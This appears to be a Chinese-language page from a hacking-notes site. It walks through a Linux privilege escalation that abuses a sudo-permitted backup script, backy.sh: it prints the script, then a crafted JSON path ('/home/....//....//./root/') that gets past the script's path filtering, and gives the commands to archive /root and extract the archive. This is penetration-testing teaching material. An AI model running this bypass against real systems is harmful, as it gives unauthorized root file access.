> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md).

# Sudo backy.sh 脚本 - Linux 权限提升

## 这是什么

Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo - backy.sh（脚本）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
sudo -l
sudo --version
```

## 示例

我们得知 `martin` 可以运行 `/usr/bin/backy.sh` 以 root 身份。

```bash
sudo -l
```

<figure><img src="/files/7b245250311d9c5ad155afbdde6687dcad70618a" alt=""><figcaption></figcaption></figure>

**该脚本检查：**

* 给定的 JSON 文件存在，
* 其中的每个路径都在 `directories_to_archive` 位于 `/var/` 或 `/home/`,
* 移除 `../` 序列通过 `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "用法：$0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "错误：未找到文件 '$json_file'。"
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "错误：$dir 不被允许。仅允许 /var/ 和 /home/ 下的目录。"
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**绕过：**

一个 `pwned.json` 文件配置如下：

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

实现：

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/2af24c5781454ad88bc694311557f3764090f44b" alt=""><figcaption></figcaption></figure>

解压：

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```


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